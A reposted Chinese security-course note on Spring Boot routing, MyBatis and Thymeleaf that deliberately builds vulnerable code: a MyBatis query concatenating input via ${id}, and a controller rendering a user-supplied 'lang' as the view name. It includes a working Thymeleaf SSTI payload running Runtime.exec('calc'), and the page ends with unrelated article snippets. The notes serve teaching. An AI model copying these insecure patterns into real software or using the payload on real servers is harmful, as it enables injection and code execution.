Day38:安全开发-JavaEE应用SpringBoot框架MyBatis注入Thymeleaf模版注入

目录

SpringBoot-Web应用-路由响应

SpringBoot-数据库应用-Mybatis

SpringBoot-模版引擎-Thymeleaf

思维导图


Java知识点

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatisSpringMVCSpringBootShiroLog4jFastJson

技术:ServletListenFilterInterceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

SpringBoot-Web应用-路由响应

Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。

参考:https://springdoc.cn/spring-boot/

1、路由映射:

  • @RequestMapping, @GetMapping, 和 @PostMapping 注解用于定义HTTP请求的映射路径。
  • @RequestMapping 是通用注解,而 @GetMapping 和 @PostMapping 是其简化形式,分别用于处理GET和POST请求。

2、参数传递:

  • @RequestParam 注解用于从HTTP请求中提取参数,使得控制器方法可以访问并使用这些参数。

3、数据响应:

  • @RestController 注解用于标识一个类是RESTful风格的控制器,它包含了 @ResponseBody 和 @Controller 的功能。
  • @ResponseBody 表示方法的返回值将直接作为HTTP响应体返回给客户端。
  • @Controller 通常用于标识传统的MVC控制器,而 @RestController 更适用于RESTful风格的控制器。

创建SpringDemo项目
修改服务器URL:https://start.aliyun.com(速度更快版本更稳定)
选择Spring Web
创建cn.wusuowei.springdemo.controller.IndexController

项目目录如下:

package cn.wusuowei.springdemo.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;@RestController
public class IndexController {// 指定GET请求的访问路由@RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)//@GetMapping(value = "/xiaodiget")public String getindex() {return "get test";}// 指定POST请求的访问路由@RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)//@PostMapping(value = "/xiaodipost")public String getpost() {return "post test";}// 指定GET请求的访问路由,带参数名name@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)//@GetMapping(value = "/xiaodiget")public String get_g(@RequestParam String name) {return "get test" + name;}// 指定POST请求的访问路由,带参数名name@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.POST)//@GetMapping(value = "/xiaodiget_g")public String get_p(@RequestParam String name) {return "post test" + name;}
}

注解说明:

  • @RestController 注解表示这是一个控制器类,专门用于处理RESTful请求,同时它也包含了 @ResponseBody 和 @Controller 的功能。
  • 使用 @RequestMapping 注解指定了类中所有方法的基本路径,即这些方法的映射路径的前缀。

GET请求处理:

  • getindex() 方法用于处理GET请求,映射路径是 “/xiaodiget”。
  • get_g() 方法用于处理GET请求,映射路径是 “/xiaodiget_g”,并且使用 @RequestParam 注解来接收名为 “name” 的参数。

POST请求处理:

  • getpost() 方法用于处理POST请求,映射路径是 “/xiaodipost”。
  • get_p() 方法用于处理POST请求,映射路径同样是 “/xiaodiget_g”,并且同样使用 @RequestParam 注解来接收名为 “name” 的参数。

注解的简化形式:

  • 在注释中也提到了使用 @GetMapping 和 @PostMapping 的简化形式,这两者分别等同于 @RequestMapping 中指定了请求方法的注解。

SpringBoot-数据库应用-Mybatis

在 JAVA 中分析 SQL 注入,采用什么数据库驱动,其使用访问数据库方法不同,所以造成的安全问题也不同。

对小迪上课搜到的三种方式有想了解一下的可以看下面链接
MyBatis 与 JDBC 和 Hibernate 的比较:https://blog.csdn.net/Knight_Key/article/details/131122995

数据库先创建需操作的数据

项目添加 Mybatis & 数据库驱动

  • 若创建项目时选择了 MySQL Driver 和 MyBatis Framework 两个依赖,则项目文件 pom.xml 中会自动添加下面内容
  • 创建项目时若未选择上述两个依赖,则需要手动在 pom.xml 中的 dependencies 标签中添加以下内容
 <dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>com.mysql</groupId><artifactId>mysql-connector-j</artifactId><scope>runtime</scope></dependency>

项目配置数据库连接信息

  • 默认配置信息文件为 src/main/resources/ 目录下的 application.properties,这里手动改为了 application.yml
  • 然后清空文件内容,写入下面代码
spring:datasource:url: jdbc:mysql://localhost:3306/demo01username: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver

创建 User 类用来操作数据库数据

  • cn.suyou.springbootmybatis.entity.User,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 entity.User,会自动创建一个 entity 软件包并创建 User.java。
  • set get toString 方法使用下面的快捷键可以一键生成。
  • IDEA 快捷键 alt+insert, 或者右键生成 Getter (),Setter (),toString (),全选然后自动生成即可。
package com.example.springbootmybatils.entity;public class User {private Integer id;private String username;private String password;public Integer getId() {return id;}public void setId(Integer id) {this.id = id;}public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}@Overridepublic String toString() {return "User{" +"id=" + id +", username='" + username + '\'' +", password='" + password + '\'' +'}';}
}

创建 Mapper 动态接口代理类实现

  • 创建 java 类时选择接口
  • cn.suyou.springbootmybatis.mapper.UserMapper,在 src/main/java/ 自己创建的组名目录下新建 java 类,输入 mapper.UserMapper,会自动创建一个 mapper 软件包并创建 UserMapper.java。
  • ${id} 是拼接写法,#{id} 是预编译写法
package com.example.springbootmybatils.mapper;import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;import java.util.List;@Mapper
public interface UserMapper {// ${id} 是拼接写法,#{id} 是预编译写法@Select("select * from admin where id like '%${id}%'")public List<User> findAll(Integer id);@Select("select * from admin where id=1")public List<User> findID();
}

创建 Controller 实现 Web 访问调用

  • cn.suyou.springbootmybatis.controller.GetadminController
  • 这个和前面的那个 web 应用访问一样,就是返回数据为从数据库获取信息
package com.example.springbootmybatils.controller;import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.List;@RestController
public class GetadminController {@Autowiredprivate UserMapper UserMapper;@GetMapping("/getadmin")public List<User> getadmindata(@RequestParam Integer id){List<User> all = UserMapper.findAll(id);return all;}@GetMapping("/getid")public List<User> getadminid(){List<User> all = UserMapper.findID();return all;}}

解决8080端口占用问题

netstat -ano | findstr "8080"

taskkill /F /PID 10056

安全危险:mybatis sql语句注入风险

SpringBoot-模版引擎-Thymeleaf

不安全的模版版本
日常开发中:语言切换页面,主题更换等传参导致的 SSTI 注入安全问题
漏洞参考:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

使用模板渲染,必须在resources目录下创建templates存放html文件

遇到问题:路径访问并没有从模板渲染,而是当成字符串显示操作

原因:@RestController包含了 @ResponseBody 和 @Controller 的功能。@ResponseBody index当做字符串显示操作

解决方式:更换为@Controller 没有ResponseBody index当做资源文件去渲染

项目目录如下:

controller/ThyremeafController.java

package cn.xiaodisec.thyremeafdemo.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;@Controller
public class ThyremeafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }@RequestMapping(value = "/test")public String index() {//@RestController ResponseBody index当做字符串显示操作//Controller 没有ResponseBody index当做资源文件去渲染return "test";}@RequestMapping(value = "/")public String index(@RequestParam String lang) {//@RestController ResponseBody index当做字符串显示操作//Controller 没有ResponseBody index当做资源文件去渲染return lang; //lang=en index-en}}

resources/templates/index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body >
<span th:text="${data}">小迪安全</span>
</body>
</html>

resources/templates/index-en.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title>
</head>
<body></body>
</html>

application.properties

# 应用服务 WEB 访问端口
server.port=8080
# THYMELEAF (ThymeleafAutoConfiguration)
# 开启模板缓存(默认值: true )
spring.thymeleaf.cache=true
# 检查模板是否存在,然后再呈现
spring.thymeleaf.check-template=true
# 检查模板位置是否正确(默认值 :true )
spring.thymeleaf.check-template-location=true
#Content-Type 的值(默认值: text/html )
spring.thymeleaf.content-type=text/html
# 开启 MVC Thymeleaf 视图解析(默认值: true )
spring.thymeleaf.enabled=true
# 模板编码
spring.thymeleaf.encoding=UTF-8
# 要被排除在解析之外的视图名称列表,⽤逗号分隔
spring.thymeleaf.excluded-view-names=
# 要运⽤于模板之上的模板模式。另⻅ StandardTemplate-ModeHandlers( 默认值: HTML5)
spring.thymeleaf.mode=HTML5
# 在构建 URL 时添加到视图名称前的前缀(默认值: classpath:/templates/ )
spring.thymeleaf.prefix=classpath:/templates/
# 在构建 URL 时添加到视图名称后的后缀(默认值: .html )
spring.thymeleaf.suffix=.html

安全问题

日常开发中:语言切换页面,主题更换等传参导致的SSTI注入安全问题

例如:更换中英文页面模板

启动项目,并输入对应路由访问,指向渲染文件的文件名

注入为:

http://127.0.0.1:8080/?lang=%7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x)

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/743021.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Text-to-SQL 工具Vanna进阶|数据库对话机器人的多轮对话

跟数据库对话机器人对话,我可不止一个问题。 可能基于第一句问话,还有第二句、第三句问话。。。第N句对话。所以本文测试了多轮对话功能。 单轮对话的环境搭建参考博客 Text-to-SQL 工具Vanna + MySQL本地部署 | 数据库对话机器人 我的数据是这样 1. 基础配置 import vann…

Parade Series - WebRTC ( < 300 ms Low Latency )

Parade Series - FFMPEG (Stable X64) C:\Conda\parading-cam>ffmpeg -f dshow -i video"Surface Camera Front" -vcodec libx264 -preset:v ultrafast -tune:v zerolatency -an -rtsp_transport tcp -f rtsp://127.0.0.1:8554/cam0801

45. 跳跃游戏 II(力扣LeetCode)

文章目录 45. 跳跃游戏 II贪心 45. 跳跃游戏 II 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: 0 < j <…

《次神光之觉醒》游戏简单拆解

文章目录 一、 介绍二、 游戏拆解图三、 部分模块拆解1.主界面关卡制放置挂机2.养成升级战斗属性值角色养成装备养成技能养成天赋养成藏品养成契约养成宠物养成挖矿养成 3.副本4.任务5.pvppvp竞技场锦标赛黄金矿工锦标赛公会营地 6.社交游戏圈世界频道好友系统 一、 介绍 《次…

谈谈Darknet53为啥这么难训练

在我使用Imagenet2012对Darknet53进行预训练的时候&#xff0c;往往训练到一半&#xff0c;就会出现过拟合&#xff0c;导致无法继续向下训练&#xff0c;尝试了很多方法&#xff0c;最后发现问题出现在下图红框的部分。 得出这个结论是因为当我使用Resnet中&#xff0c;包含有…

Java集合基础知识总结(绝对经典)

List接口继承了Collection接口&#xff0c;定义一个允许重复项的有序集合。该接口不但能够对列表的一部分进行处理&#xff0c;还添加了面向位置的操作。 实际上有两种list&#xff1a;一种是基本的ArrayList&#xff0c;其优点在于随机访问元素&#xff0c;另一种是更强大的L…

利用HubSpot出海CRM和人工智能技术提升出海业务的效率和效果

在当今数字化时代&#xff0c;智能化营销已经成为企业获取客户和扩大市场份额的关键策略。特别是对于出海业务而言&#xff0c;利用智能化营销技术来应对不同文化、语言和市场的挑战&#xff0c;已经成为企业竞争的关键优势。今天运营坛将带领大家探讨如何利用HubSpot CRM和人工…

技术方案|某工业集团PaaS容灾方案

在当今快速发展的数字化时代&#xff0c;业务的连续性和稳定性已成为企业核心竞争力的重要组成部分。然而&#xff0c;由于各种原因&#xff0c;企业常常面临着数据丢失、系统瘫痪等潜在风险。因此&#xff0c;制定一套科学、高效的容灾方案至关重要。本文将围绕某全球领先的工…

css实现梯形?

HTML: <div class"box"></div> CSS: .box{width:50px;height:0;border-bottom:50px solid pink;border-left:50px solid #fff;border-right:50px solid #fff; } 效果&#xff1a;

opencv dnn模块 示例(25) 目标检测 object_detection 之 yolov9

文章目录 1、YOLOv9 介绍2、测试2.1、官方Python测试2.1.1、正确的脚本2.2、Opencv dnn测试2.2.1、导出onnx模型2.2.2、c测试代码 2.3、测试统计 3、自定义数据及训练3.1、准备工作3.2、训练3.3、模型重参数化 1、YOLOv9 介绍 YOLOv9 是 YOLOv7 研究团队推出的最新目标检测网络…

IDEA开启Run Dashboard

1、Run Dashboard是什么&#xff0c;为什么要使用 Run Dashboard 是 IntelliJ IDEA 中的一个工具窗口&#xff0c;用于管理和监视项目中正在运行的应用程序和配置。它提供了一种集中管理运行和调试过程的方式&#xff0c;可以让开发人员更方便地查看和控制正在运行的应用程序。…

2061:【例1.2】梯形面积

时间限制: 1000 ms 内存限制: 65536 KB 提交数:201243 通过数: 79671 【题目描述】 在梯形中阴影部分面积是150平方厘米&#xff0c;求梯形面积。 【输入】 (无&#xff09; 【输出】 输出梯形面积&#xff08;保留两位小数&#xff09;。 【输入样例】 &#xff…

数据结构-链表(二)

1.两两交换列表中的节点 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&#xff09;。 输入&#xff1a;head [1,2,3,4] 输出&#xff1a;[2…

Java学习笔记------常用API(三)

BigInteger 在Java中&#xff0c;整数类型有四种类型&#xff1a;byte&#xff08;一个字节&#xff09;、short&#xff08;2个字节&#xff09;、int&#xff08;四个字节&#xff09;、long&#xff08;8个字节&#xff09; 超出取值范围上面类型无法使用&#xff0c;这时…

Docker学习之容器管理(超详解析)

容器相关命令&#xff1a; 容器操作&#xff1a; 启动容器 方法1:先创建一个容器&#xff1a;docker create 镜像名再启动容器&#xff1a;docker start 容器名(不推荐) [rootlocalhost ~]# docker create -it myubuntu:18.04 //创建容器 7bc99c9ea102ab49cc400437824a954949…

白酒:生产过程的智能化与自动化升级改造

在当今的工业生产中&#xff0c;智能化与自动化已成为提进一步率、品质和竞争力的关键因素。云仓酒庄紧跟时代步伐&#xff0c;对豪迈白酒的生产过程进行了一系列智能化与自动化升级改造&#xff0c;旨在提升生产效率、确保产品质量的同时&#xff0c;降低生产成本。 首先&…

Express学习(四)

使用Express写接口 创建基本的服务器 创建API路由模块 编写GET接口 编写POST接口 CORS跨域资源共享 什么是CORS CORS由一系列HTTP响应头组成&#xff0c;这些HTTP响应头决定浏览器是否阻止前端JS代码跨域获取资源。浏览器的同源安全策略默认会阻止网页“跨域”获取资源。但如…

数据结构和算法:栈与队列

栈 栈 &#xff08;stack&#xff09;是一种遵循先入后出逻辑的线性数据结构 把堆叠元素的顶部称为“栈顶”&#xff0c;底部称为“栈底”。 将把元素添加到栈顶的操作叫作“入栈”&#xff0c;删除栈顶元素的操作叫作“出栈”。 栈的常用操作 /* 初始化栈 */ stack<int&g…

专升本 C语言笔记-07 逗号运算符

1.逗号表达式的用法 就是用逗号隔开的多个表达式。逗号表达式&#xff0c;从左向右依次执行。 2.逗号表达式的特性 2.1.当没有括号时&#xff0c;第一个表达式为整个表达式的值。 代码 int x 3,y 5,a 0; a x,y; printf("a %d",a); 说明:因为逗号优先级最低,会…

【CSS颜色】

本文章属于学习笔记&#xff0c;在https://www.freecodecamp.org/chinese/learn/2022/responsive-web-design/中练习 三、CSS颜色 1、有两种主要的颜色模型:电子设备中使用的加性RGB(红、绿、蓝)模型和印刷品中使用的减色CMYK(青色、品红、黄色、黑色)模型。 使用RGB模型。这…